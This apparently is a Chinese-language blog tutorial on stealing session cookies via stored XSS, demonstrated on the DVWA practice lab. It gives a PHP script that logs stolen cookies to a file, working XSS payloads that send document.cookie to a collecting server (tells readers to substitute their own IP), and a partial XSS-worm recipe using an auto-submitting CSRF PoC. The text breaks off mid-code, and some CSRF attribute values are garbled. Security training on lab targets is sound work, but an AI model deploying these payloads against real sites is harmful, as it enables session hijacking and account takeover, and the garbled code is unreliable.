xss盜取cookie
什么是cookie
cookie是曲奇餅，啊開個玩笑，cookie是每個用戶登錄唯一id和賬號密碼一樣可以登錄到網站，是的你沒有聽錯cookie可以直接登錄，至于服務器怎么設定cookie
和cookie存盤這里就不說了，需的要自行百度
xss盜取cookie(dvwa演示)
學習xss時覺得啊這，不就是一個彈窗嗎，有啥用，經過學習后發現xss的危害還是挺大的，彈窗的目的只是說明這里可以執行動態腳本，那就可以干很多事情了
環境配置
官網:http://www.dvwa.co.uk/
下載地址:https://github.com/ethicalhack3r/DVWA
下載方式:zip下載或git https://github.com/ethicalhack3r/DVWA
下載完成放入http服務下即可
我使用的是phpstudy下載地址:https://m.xp.cn/
設定接受盜取cookie方式
xss盜取的cookie肯定是要保存到我們自己的服務器上，可以設定一個接受cookie的php網頁代碼接受到請求攜帶cookie后保存到檔案或者資料庫中等都可以，當然也可以不設定存盤，隨便請求一個一個服務器網頁存在不存在無所謂，因為請求可以保存到日志檔案，但是看起來可能不方便而已，下面是保存cookie的php代碼
<?php
if(isset($_GET['cookie'])) //如果接收到cookie
{
$file = fopen('./cookie.txt', 'a'); //打開存盤的檔案
fwrite($file, $_GET['cookie']."\r\n"); //將獲取的cookie存盤
fclose($file); //關閉檔案
}
放置xss(這里用存盤型xss測驗)
<script>document.location='http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>
我這里用的本地的測驗，document.cookie，就是獲取cookie，然后攜帶cookie訪問http://127.0.0.1/cookies/cookies.php?（換成自己服務器ip就可以了，這里我本地測驗），先查看一下我們的cookie
然后點擊我們放存盤型xss的地方（xss(stored)）,發現跳轉到了令一個網站，并且攜帶了你的cookie
在到cookie.php目錄查看cookie.txt，可以發現cookie已經被存盤，cookie被盜取，我們可以利用cookie進行登錄
這種動靜可能有點大，可以用js加載圖片的方式來發送帶有cookie的請求，
<script>new Image().src = 'http://127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>
使用new Image()進行預加載
當然如果你還有其動靜小的方法可以留言，當然還可以用來加載其他的xss神器js代碼
<script src=''>
xss蠕蟲
前提條件
有存盤型xss，可以csrf
原理（個人理解，如有錯誤可以評論聯系我）
相關代碼（只是簡單的，有過濾，要考慮繞過）
主體存盤xss
<script>document.location='csrf地址';</script>
csrf生成
用burpsuite抓包，右鍵，如圖選擇，copy復制，然后放到自己服務器等等，當然也可以自己撰寫csrf的poc，使之功能更加強大，可以自己點擊等等，還有一些繞過等等，這只是簡單的csrf的poc
csrf演示代碼，抓取的dvwa包加了js自動點擊
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/lmg/vulnerabilities/xss_s/index.php" method="POST">
<input type="hidden" name="txtName" value=https://www.cnblogs.com/Lmg66/p/"?μ‹è¯•" />
<script type="text/javascript"> // js自動點擊
var form = document.getElementsByTagName('form')[0];
var input = document.getElementsByTagName('input')[3];
input.value = https://www.cnblogs.com/Lmg66/p/window.location.hash.substr(1);
form.submit();
</script>